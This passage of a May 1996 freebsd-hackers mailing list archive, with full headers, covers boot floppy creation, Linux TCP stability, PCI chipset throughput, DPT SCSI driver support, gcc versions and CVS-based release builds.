May 1996 19:00:12 -0700 (PDT) Received: from whistle.com ([207.76.205.131]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA10206 for ; Fri, 17 May 1996 19:00:06 -0700 (PDT) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id SAA21766 for ; Fri, 17 May 1996 18:59:35 -0700 (PDT) X-Authentication-Warning: whistle.com: smap set sender to using -f Received: from shrimp.whistle.com(207.76.205.74) by whistle.com via smap (V1.3) id sma021764; Fri May 17 18:59:25 1996 Received: (from julian@localhost) by shrimp.whistle.com (8.6.12/8.6.12) id SAA27292 for hackers@freebsd.org; Fri, 17 May 1996 18:59:25 -0700 From: Julian Elischer Message-Id: <199605180159.SAA27292@shrimp.whistle.com> Subject: new code to create boot floppies To: hackers@freebsd.org Date: Fri, 17 May 1996 18:59:25 -0700 (PDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk differences to allow independent creation of boot floppies... see freefall:~julian/floppies.shar unpack it as a subdirectory of /usr/src/release you must have previously done a make world and have made at least the sysinstall binary in the release directory so that it can be added to the boot floppy This is an alpha release comments solicited.. julian From owner-freebsd-hackers Fri May 17 19:09:22 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA10924 for hackers-outgoing; Fri, 17 May 1996 19:09:22 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA10919 for ; Fri, 17 May 1996 19:09:18 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id LAA15853; Sat, 18 May 1996 11:50:41 +0930 From: Michael Smith Message-Id: <199605180220.LAA15853@genesis.atrad.adelaide.edu.au> Subject: Re: Note from Usenet To: nate@sri.MT.net (Nate Williams) Date: Sat, 18 May 1996 11:50:41 +0930 (CST) Cc: hackers@FreeBSD.org In-Reply-To: <199605171652.KAA27616@rocky.sri.MT.net> from "Nate Williams" at May 17, 96 10:52:45 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Nate Williams stands accused of saying: > > Glened froma Linux mailing list. > > > About a week ago, Alan Cox commented that the networking code in 1.3.xx > > wasn't up to coping with the type of load that a WWW server would > > experience, and that 1.2.xx was a better choice for that application. > > Apparently Linux 1.3 with the re-written TCP/IP code still isn't up to > the task. Sheesh. What it must have cost him to say _that_. Bit of a pity, really. > Nate -- ]] Mike Smith, Software Engineer msmith@atrad.adelaide.edu.au [[ ]] Genesis Software genesis@atrad.adelaide.edu.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control (ph/fax) +61-8-267-3039 [[ ]] Collector of old Unix hardware. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Fri May 17 19:16:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA11305 for hackers-outgoing; Fri, 17 May 1996 19:16:07 -0700 (PDT) Received: from MindBender.HeadCandy.com (root@[199.238.225.168]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA11225 for ; Fri, 17 May 1996 19:16:01 -0700 (PDT) Received: from localhost.HeadCandy.com (michaelv@localhost.HeadCandy.com [127.0.0.1]) by MindBender.HeadCandy.com (8.7.5/8.6.9) with SMTP id TAA21785; Fri, 17 May 1996 19:15:54 -0700 (PDT) Message-Id: <199605180215.TAA21785@MindBender.HeadCandy.com> X-Authentication-Warning: MindBender.HeadCandy.com: Host michaelv@localhost.HeadCandy.com [127.0.0.1] didn't use HELO protocol To: Charles Henrich cc: freebsd-hackers@freebsd.org Subject: Re: Funky Micron PP200 problems under 2.1 In-reply-to: Your message of Fri, 17 May 96 19:09:21 -0400. <199605172309.TAA00317@crh.cl.msu.edu> Date: Fri, 17 May 1996 19:15:53 -0700 From: "Michael L. VanLoon -- HeadCandy.com" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >On another note, anyone know where I might find a test program to see if the >PCI chipset in this PP200 can sustain more than 5mb/sec ? If it doesn't, it's _severly_ broken. PCI is supposed to be capable of up to 133MB/s (~33MHz * 32-bits). ----------------------------------------------------------------------------- Michael L. VanLoon michaelv@HeadCandy.com --< Free your mind and your machine -- NetBSD free un*x >-- NetBSD working ports: 386+PC, Mac 68k, Amiga, Atari 68k, HP300, Sun3, Sun4/4c/4m, DEC MIPS, DEC Alpha, PC532, VAX, MVME68k, arm32... NetBSD ports in progress: PICA, others... Roll your own Internet access -- Seattle People's Internet cooperative. If you're in the Seattle area, ask me how. ----------------------------------------------------------------------------- From owner-freebsd-hackers Fri May 17 19:26:14 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA11954 for hackers-outgoing; Fri, 17 May 1996 19:26:14 -0700 (PDT) Received: from distortion.eng.umd.edu (distortion.eng.umd.edu [129.2.98.6]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA11948; Fri, 17 May 1996 19:26:12 -0700 (PDT) Received: from professor.eng.umd.edu (professor.eng.umd.edu [129.2.98.207]) by distortion.eng.umd.edu (8.7.5/8.7.3) with ESMTP id WAA22735; Fri, 17 May 1996 22:26:05 -0400 (EDT) Received: (from chuckr@localhost) by professor.eng.umd.edu (8.7.5/8.7.3) id WAA13067; Fri, 17 May 1996 22:26:04 -0400 (EDT) Date: Fri, 17 May 1996 22:26:03 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@professor.eng.umd.edu To: Terry Lambert cc: Nate Williams , terry@lambert.org, gpalmer@freebsd.org, mrcpu@cdsnet.net, hackers@freebsd.org Subject: Re: A MMAP observation In-Reply-To: <199605172010.NAA20537@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 17 May 1996, Terry Lambert wrote: > > > I saw a posting of a UNIX ODBC on comp.sources.unix about 8 months > > > ago (+/- 2 months). > > > > Actually, it was Alt.sources. I can't believe my pack-rat mentality > > actually got something that Terry didn't. :) > > That's once. Savor it; it probably won't happen again... I'll print > the @!$@%*! stuff out and stack it in my living room if I have to! While you guys are bragging about finding stuff, could you point out something that indicates how to use it? Out or curiosity, I went and got the iODBC stuff, and compiled it, but it comes with absolutely no pointers as to it's use. BTW, it's up to version 2.12 now. I couldn't find it at the ftp.net.ohio-state.edu address, but ftp.demon.co.uk had it. > > Oh, the shame! > > 8-) 8-) 8-) > > > Terry Lambert > terry@lambert.org > --- > Any opinions in this posting are my own and not those of my present > or previous employers. > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 9120 Edmonston Ct #302 | Greenbelt, MD 20770 | I run Journey2 and n3lxx, both FreeBSD (301) 220-2114 | version 2.2 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Fri May 17 19:53:44 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id TAA14184 for hackers-outgoing; Fri, 17 May 1996 19:53:44 -0700 (PDT) Received: from parkplace.cet.co.jp (parkplace.cet.co.jp [202.32.64.1]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id TAA14178 for ; Fri, 17 May 1996 19:53:38 -0700 (PDT) Received: (from michaelh@localhost) by parkplace.cet.co.jp (8.7.5/CET-v2.1) id LAA08571; Sat, 18 May 1996 11:53:18 +0900 (JST) Date: Sat, 18 May 1996 11:53:18 +0900 (JST) From: Michael Hancock To: Philippe Regnauld cc: hackers Subject: Re: Standard Shipping Containers - A Proposal for Distributing FreeBSD In-Reply-To: <199605171051.MAA06281@tetard.hsc.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 17 May 1996, Philippe Regnauld wrote: > Errm, so far I've only seen a majority of people satisifed with the > installation procedure (like those "great work guys" messages we > see popping up every once in a while) AND the source distribution > system ("Wow, it's much easier to keep up with FBSD, 'cause at > least there's only one source). IMHO, Linux is STILL a pain in the > ass, and 3/4 Linux owners around me are "waiting for that new > Debian release so I can trash my xxxx". Not to mention keeping the > kernel in sync with the rest of the system when Torvalds goes > epileptic. Agreed. > If It Ain't Broke, Don't Fix It. No way. If It Ain't Broke, Make It Better. -mike hancock From owner-freebsd-hackers Fri May 17 20:05:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA15067 for hackers-outgoing; Fri, 17 May 1996 20:05:59 -0700 (PDT) Received: from xs1.simplex.nl (xs1.simplex.NL [193.78.46.10]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA15062 for ; Fri, 17 May 1996 20:05:53 -0700 (PDT) X-Organisation-1: Simplex Networking Amsterdam X (Inter)Network X-Organisation-2: Kruislaan 419-38a 1098 VA Amsterdam X Solutions & X-Organisation-3: tel:+31(20)-6932433 fax:+31(20)-6685486 X Access Provider Received: (from uucp@localhost) by xs1.simplex.nl (8.7.5/8.7.3-RS) with UUCP id FAA01037; Sat, 18 May 1996 05:05:13 +0200 (MET DST) Received: (from plm@localhost) by plm.simplex.nl (8.7.5/8.7.3) id SAA04402; Fri, 17 May 1996 18:40:30 +0200 (MET DST) Date: Fri, 17 May 1996 18:40:30 +0200 (MET DST) Message-Id: <199605171640.SAA04402@plm.simplex.nl> From: Peter Mutsaers To: nate@sri.MT.net CC: freebsd-hackers@FreeBSD.org In-reply-to: <199605170431.WAA25807@rocky.sri.MT.net> (message from Nate Williams on Thu, 16 May 1996 22:31:29 -0600) Subject: Re: internal compiler error Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk >> On Thu, 16 May 1996 22:31:29 -0600 you wrote: >> >> causes an internal compiler error running gcc 2.7.2 on FreeBSD 2.2-stable. >> NW> Hmm, it works fine under -stable with 2.6.3. >> NW> #cheap shot on# NW> This is one of the reasons why we stick w/older versions of GCC. :) NW> #cheap shot off# >> >> But the newer versions are quite a bit faster. NW> Huh? I don't think so, as a matter of fact in same cases they are NW> slower, due to more memory use required for those with smaller memory NW> systems. I didn't mean running the compiler is faster, but the result is faster. I think I saw some comparisons between 2.6.3 and 2.7.2 a while back. Correct me if I'm wrong. NW> And, you certainly can't mean that the optimized code is faster, NW> because in some cases although it's faster it's wrong (ie; NW> buggy). 2.7.0 and 2.7.1 had bugs (lots, especially in the c++ part). 2.7.2 had some bugs when using -O2 or higher. There are intermediate releases, like 2.7.2.9 (of which also a pentium optimized version is available for FreeBSD) that has a lot of the known bugs fixed. All bugs I knew were fixed. But maybe it is better to wait for 2.8.0 which is told to appear quite soon. 2.7.2 has better support for templates and exceptions in c++. I can of course put both 2.6.3 and 2.7.2 on my system. I have done that now; but it is a pity of the wasted disk space of course. Regards, -- ______________________________________________________________________ Peter Mutsaers | Abcoude (Utrecht), | "Quod licet bovis, plm@simplex.nl | the Netherlands | non licet Jovi." From owner-freebsd-hackers Fri May 17 20:32:00 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA18191 for hackers-outgoing; Fri, 17 May 1996 20:32:00 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id UAA18156; Fri, 17 May 1996 20:31:54 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id UAA21789; Fri, 17 May 1996 20:28:10 -0700 From: Terry Lambert Message-Id: <199605180328.UAA21789@phaeton.artisoft.com> Subject: Re: A MMAP observation To: chuckr@Glue.umd.edu (Chuck Robey) Date: Fri, 17 May 1996 20:28:10 -0700 (MST) Cc: terry@lambert.org, nate@sri.MT.net, gpalmer@freebsd.org, mrcpu@cdsnet.net, hackers@freebsd.org In-Reply-To: from "Chuck Robey" at May 17, 96 10:26:03 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > While you guys are bragging about finding stuff, could you point out > something that indicates how to use it? Out or curiosity, I went and got > the iODBC stuff, and compiled it, but it comes with absolutely no > pointers as to it's use. BTW, it's up to version 2.12 now. I couldn't > find it at the ftp.net.ohio-state.edu address, but ftp.demon.co.uk had it. Maybe *that's* why I didn't save it... I don't remember. 8-). Have you contacted the author? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri May 17 20:40:58 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA19476 for hackers-outgoing; Fri, 17 May 1996 20:40:58 -0700 (PDT) Received: from acc0.elvisti.kiev.ua ([193.125.28.132]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA19212; Fri, 17 May 1996 20:39:44 -0700 (PDT) Received: from office.elvisti.kiev.ua (office.elvisti.kiev.ua [193.125.28.129]) by acc0.elvisti.kiev.ua (8.7.5/8.7.3) with ESMTP id GAA05421; Sat, 18 May 1996 06:36:12 +0300 (EET DST) Received: (from stesin@localhost) by office.elvisti.kiev.ua (8.6.12/8.ElVisti) id GAA12140; Sat, 18 May 1996 06:36:12 +0300 From: "Andrew V. Stesin" Message-Id: <199605180336.GAA12140@office.elvisti.kiev.ua> Subject: Re: Who wants a DPT SCSI controller driver? To: phk@critter.tfs.com (Poul-Henning Kamp) Date: Sat, 18 May 1996 06:35:51 +0300 (EET DST) Cc: salyzyn@inet.dpt.com, freebsd-scsi@FreeBSD.org, freebsd-hardware@FreeBSD.org, freebsd-hackers@FreeBSD.org In-Reply-To: <3059.832374334@critter.tfs.com> from "Poul-Henning Kamp" at May 17, 96 11:05:34 pm X-Mailer: ELM [version 2.4 PL24alpha5] Content-Type: text Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hello people, probably my opinion isn't of real sugnificance for you, but (you may wonder!) I'm an interested party, 'cause, for example, I'd certainly convince my management to purchase some DPT controllers -- but if and _only_ if they would be supported by FreeBSD. I'll explain why. Paul is saying "why would FreeBSD want a DPT SCSI". I think that "why DPT would want to support FreeBSD" is a more sugnificant issue for DPT :-) I certainly agree with Paul's analysis, will only add a bit. # Market: # # Probably bigger than you might think. And even more bigger considering the fact that BSDi raised their prices (I asked recently -- some $6000 or so!) This means that FreeBSD will probably occupy a larger market share, being used for Usenet news and network file services, WWW servers, so on. (Suppose you need some 5-6 unices for an ISP site. 1-2 will be commercial OSes, and others, less critical ones? What for?) FreeBSD as an OS is very solid and stable today, it isn't of worse quality than BSDi. Conclusions: FreeBSD _is_ used for heavy-duty applications, and will be used even more. The only minor problem is a narrow range of high-end hardware which is supported. Real life example. Some person here wants to get a single but powerful and rock solid UNIX box, to be used as a small enterprise' level combined server. It should have a huge pack of SCSI disks attached. While there isn't a problem to get a nice CPU, motherboard and drives, the choice of SCSI host adapters isn't wide. NCRs are great for small installations, but they occasionally die after some 60-70 days of uptime (what do you want from a single-chip low-end card?). BusTeks are rare here and aren't famous too. What remains as the only choice? True, Adaptec 3940W, though DPT should be much better and people knows about them. Those who want a cheap desktop unix are going Linux. Those who want a production system, fast and reliable, go FreeBSD and they won't purchase SCO -- they'll get a high-end hardware for FreeBSD instead. # I have personally in the last 13 # weeks (the age of my on-line mailarchive) told 14 different people "No, # sorry, as nice as the DPTs look, we don't support them, sorry." and # I'm generally know considered a HW wizard of any importance. I had some three or five conversations on the same topic during last two month ("Oh, how great FreeBSD is. Will it work on GDT or DPT RAIDed PCI SCSI HBA?" -- "No, sorry" -- "What a pity... Ok, we'll purchase two Adaptecs instead for our office network server.") And remember that's not USA, but Eastern European country. # "Hey, Danny, what do you think about FOORBAR controllers ?" # "Don't know, never ran one" Or even: "Probably it's great, but who cares -- we can't use it just now when we need some solution. Not supported in _our_ software environment, point." Nice and powerful FOORBAR controllers are slowly, one by one, sold to occasional netware bigots. # "Hmm what do you use then ?" # "FROBOZZ. Never had a hitch" [...] # A lot of people use the stuff on the FreeBSD lists as guidelines when # they buy PCs for other uses. And FreeBSD is popular not in the home desktop applications, should I notice, but for servers, and by organisations, not individuals. It's a serious system. # Often I hear people argument something # along this line: "If FreeBSD can find HW problems where Windows 3.1 # see none, and I select HW that work well with FreeBSD, is should have # less trouble with my Windows." That's true btw -- FreeBSD install floppy _is_ used as a hardware testsuite by some of my friends, really. P.S. And I'd be happy to put some two or three high-end SCSI controllers into PCI server boxes at work (ISP). -- With best regards -- Andrew Stesin. +380 (44) 2760188 +380 (44) 2713457 +380 (44) 2713560 "You may delegate authority, but not responsibility." Frank's Management Rule #1. From owner-freebsd-hackers Fri May 17 20:41:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA19571 for hackers-outgoing; Fri, 17 May 1996 20:41:47 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id UAA19552 for ; Fri, 17 May 1996 20:41:40 -0700 (PDT) Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id VAA00514; Fri, 17 May 1996 21:39:08 -0600 Date: Fri, 17 May 1996 21:39:08 -0600 From: Nate Williams Message-Id: <199605180339.VAA00514@rocky.sri.MT.net> To: Michael Smith Cc: nate@sri.MT.net (Nate Williams), hackers@FreeBSD.org Subject: Re: Note from Usenet In-Reply-To: <199605180220.LAA15853@genesis.atrad.adelaide.edu.au> References: <199605171652.KAA27616@rocky.sri.MT.net> <199605180220.LAA15853@genesis.atrad.adelaide.edu.au> Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Gleaned froma Linux mailing list. > > > > > About a week ago, Alan Cox commented that the networking code in 1.3.xx > > > wasn't up to coping with the type of load that a WWW server would > > > experience, and that 1.2.xx was a better choice for that application. > > > > Apparently Linux 1.3 with the re-written TCP/IP code still isn't up to > > the task. > > Sheesh. What it must have cost him to say _that_. Bit of a pity, really. And he's the author of the new code, so what he says is most definitely an unbiased opinion. I saw some other notes on other articles that it appears to be a problem with the new kernel malloc routines. Apparently the real-time extensions are getting in the way of the kernel being able to service it's own internal memory requests for things like network buffers and such. Nate From owner-freebsd-hackers Fri May 17 20:53:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id UAA20475 for hackers-outgoing; Fri, 17 May 1996 20:53:35 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id UAA20470 for ; Fri, 17 May 1996 20:53:32 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by rover.village.org (8.7.5/8.6.6) with SMTP id VAA12112; Fri, 17 May 1996 21:50:13 -0600 (MDT) Message-Id: <199605180350.VAA12112@rover.village.org> To: Michael Smith Subject: Re: Note from Usenet Cc: nate@sri.MT.net (Nate Williams), hackers@FreeBSD.ORG In-reply-to: Your message of Sat, 18 May 1996 11:50:41 +0930 Date: Fri, 17 May 1996 21:50:12 -0600 From: Warner Losh Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk : > Apparently Linux 1.3 with the re-written TCP/IP code still isn't up to : > the task. : : Sheesh. What it must have cost him to say _that_. Bit of a pity, really. The latest from linux-hackers is that one of the hold ups of the 2.0 release are some lingering problems with the TCP code. The comments that Alan was making were wrt 1.3.8something, so shouldn't necessarily be an indication of what they've done since then (they are up to 1.3.105 effectively (counting the 1.99.x releases as 1.3.10x)). I'm not saying that therefore there code must be better or worse now, just that the relevance Alan's comments are decaying as rapidly as they are changing the TCP code. Warner From owner-freebsd-hackers Fri May 17 21:16:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA22240 for hackers-outgoing; Fri, 17 May 1996 21:16:39 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id VAA22235 for ; Fri, 17 May 1996 21:16:37 -0700 (PDT) Received: from rocky.sri.MT.net (rocky.sri.MT.net [204.182.243.10]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id VAA24930 for ; Fri, 17 May 1996 21:16:35 -0700 Received: (from nate@localhost) by rocky.sri.MT.net (8.6.12/8.6.12) id WAA00621; Fri, 17 May 1996 22:15:15 -0600 Date: Fri, 17 May 1996 22:15:15 -0600 From: Nate Williams Message-Id: <199605180415.WAA00621@rocky.sri.MT.net> To: Warner Losh Cc: Michael Smith , nate@sri.MT.net (Nate Williams), hackers@FreeBSD.ORG Subject: Re: Note from Usenet In-Reply-To: <199605180350.VAA12112@rover.village.org> References: <199605180350.VAA12112@rover.village.org> Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > : > Apparently Linux 1.3 with the re-written TCP/IP code still isn't up to > : > the task. > > The latest from linux-hackers is that one of the hold ups of the 2.0 > release are some lingering problems with the TCP code. The comments > that Alan was making were wrt 1.3.8something, so shouldn't necessarily > be an indication of what they've done since then (they are up to > 1.3.105 effectively (counting the 1.99.x releases as 1.3.10x)). Comments made for pre2.0.4 (who thought of that naming scheme?) says the the TCP bugs still exist. See my previous comments on this subject, but it sounds like they aren't planning on fixing the 'real bugs' until after 2.0 is released since they don't have the time to do it right, and they want to get 2.0 out the door. So, it's going to stay that way. Nate ps. Just so it doesn't sound like I'm Linux-bashing, apparently these new problems don't exist in 1.2.13 (or whatever the most recent 'stable' version of Linux is). From owner-freebsd-hackers Fri May 17 21:30:55 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA22943 for hackers-outgoing; Fri, 17 May 1996 21:30:55 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id VAA22937 for ; Fri, 17 May 1996 21:30:49 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id VAA09578; Fri, 17 May 1996 21:29:42 -0700 (PDT) To: gdr@wcs.uq.edu.au cc: freebsd-hackers@freebsd.org Subject: Re: Standard Shipping Containers In-reply-to: Your message of "Sat, 18 May 1996 06:06:02 +1000." <199605172006.GAA11345@ajax.che.curtin.edu.au> Date: Fri, 17 May 1996 21:29:42 -0700 Message-ID: <9576.832393782@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Is the CVS tree available as ctm deltas or is it only -current and -stable? It is indeed available via CTM. > Am I correct in thinking that with an up-to-date CVS tree (maintained by > sup or ctm) you can create any of the supported source trees in a fully > consistent and functional state at a time of your choosing? You are precisely correct. > Also would the only real penalty be extra disk space to keep it all? Right. > Finally am I correct in thinking that at the time of a release (either > SNAP or full release) you could just checkout your own release from your > locally maintained CVS tree and build it all yourself in a reasonably > trivial manner even for a moderately unskilled or semi-skilled user? Yes! In fact, a local CVS repository is *required* by /usr/src/release/Makefile for exactly that reason - it does the CVS operations itself based on how you set RELEASETAG in the make. Jordan From owner-freebsd-hackers Fri May 17 21:45:11 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id VAA25312 for hackers-outgoing; Fri, 17 May 1996 21:45:11 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id VAA25301 for ; Fri, 17 May 1996 21:45:09 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with SMTP id VAA09747; Fri, 17 May 1996 21:45:00 -0700 (PDT) To: Julian Elischer cc: hackers@freebsd.org Subject: Re: new code to create boot floppies In-reply-to: Your message of "Fri, 17 May 1996 18:59:25 PDT." <199605180159.SAA27292@shrimp.whistle.com> Date: Fri, 17 May 1996 21:45:00 -0700 Message-ID: <9745.832394700@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > unpack it as a subdirectory of /usr/src/release > you must have previously done a make world > and have made at least the sysinstall binary Please make this automatically depend on a make world; it's not complete without this. Jordan From owner-freebsd-hackers Fri May 17 23:32:59 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA01193 for hackers-outgoing; Fri, 17 May 1996 23:32:59 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id XAA01187 for ; Fri, 17 May 1996 23:32:56 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.6.12/8.6.12) with ESMTP id XAA01529; Fri, 17 May 1996 23:32:13 -0700 Message-Id: <199605180632.XAA01529@rah.star-gate.com> X-Mailer: exmh version 1.6.5 12/11/95 To: "Michael L. VanLoon -- HeadCandy.com" cc: Charles Henrich , freebsd-hackers@freebsd.org Subject: Re: Funky Micron PP200 problems under 2.1 In-reply-to: Your message of "Fri, 17 May 1996 19:15:53 PDT." <199605180215.TAA21785@MindBender.HeadCandy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 17 May 1996 23:32:13 -0700 From: "Amancio Hasty Jr." Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > >On another note, anyone know where I might find a test program to see if the > >PCI chipset in this PP200 can sustain more than 5mb/sec ? > > If it doesn't, it's _severly_ broken. > > PCI is supposed to be capable of up to 133MB/s (~33MHz * 32-bits). Cough.... It has been known for a while now that the PCI chipset on the PPro has had it shares of problems and one of them being if memory does not fail me that writes to the PCI bus are limited to 5MB/sec. Now, back to the original question. Try to measure your disk thruput with something like iozone and have something that dumps lots of data on the screen like an mpeg movie. In my case over here is easy I just try to watch tv with my matrox meteor video capture board and if I can't watch tv at 640x480x32 well then the PCI bus can't handle 37mb/sec 8) Amancio From owner-freebsd-hackers Fri May 17 23:44:10 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id XAA01746 for hackers-outgoing; Fri, 17 May 1996 23:44:10 -0700 (PDT) Received: from nervosa.com (root@nervosa.com [192.187.228.86]) by freefall.freebsd.org (8.7.3/8.7.3) with ESMTP id XAA01735 for ; Fri, 17 May 1996 23:44:06 -0700 (PDT) Received: from onyx.nervosa.com (coredump@onyx.nervosa.com [10.0.0.1]) by nervosa.com (8.7.5/8.7.3) with SMTP id XAA27855; Fri, 17 May 1996 23:43:56 -0700 (PDT) Date: Fri, 17 May 1996 23:43:55 -0700 (PDT) From: invalid opcode To: Brian Tao cc: FREEBSD-HACKERS-L Subject: Re: Slow tty updates and high load, but idle CPU In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 17 May 1996, Brian Tao wrote: > I've got an odd problem with the 2.1.0-RELEASE shell servers > here. I'm not sure where to begin, except to say that screen > refreshes become very slow all of a sudden. > Brian Tao (BT300, taob@io.org, taob@ican.net) Check your stty settings, particularly baud rate. == Chris Layne ======================================== Nervosa Computing == == coredump@nervosa.com ================ http://www.nervosa.com/~coredump == From owner-freebsd-hackers Sat May 18 00:11:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.3/8.7.3) id AAA03209 for hackers-outgoing; Sat, 18 May 1996 00:11:39 -0700 (PDT) Received: from caipfs.rutgers.edu (root@caipfs.rutgers.edu [128.6.155.100]) by freefall.freebsd.org (8.7.3/8.7.3) with SMTP id AAA03202 for ; Sat, 18 May 1996 00:11:37 -0700 (PDT) Received: from huahaga.rutgers.edu (huahaga.rutgers.edu [128.6.155.53]) by caipfs.rutgers.edu (8.6.9+bestmx+oldruq+newsunq+grosshack/8.6.9) with ESMTP id DAA14551; Sat, 18 May 1996 03:11:25 -0400 Received: (davem@localhost) by huahaga.rutgers.edu (8.6.9+bestmx+oldruq+newsunq+grosshack/8.6.9) id DAA04560; Sat, 18 May 1996 03:11:24 -0400 Date: Sat, 18 May 1996 03:11:24 -0400 Message-Id: <199605180711.DAA04560@huahaga.rutgers.edu> From: "David S. Miller" To: nate@sri.MT.net CC: imp@village.org, msmith@atrad.adelaide.edu.au, nate@sri.MT.net, hackers@freebsd.org In-reply-to: <199605180415.WAA00621@rocky.sri.MT.net> (message from Nate Williams on Fri, 17 May 1996 22:15:15 -0600) Subject: Re: Note from Usenet Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Date: Fri, 17 May 1996 22:15:15 -0600 From: Nate Williams Comments made for pre2.0.4 (who thought of that naming scheme?) says the the TCP bugs still exist. See my previous comments on this subject, but it sounds like they aren't planning on fixing the 'real bugs' until after 2.0 is released since they don't have the time to do it right, and they want to get 2.0 out the door. So, it's going to stay that way. Incorrect, Linus wanted 2.0 out the door before he went to give a talk at a 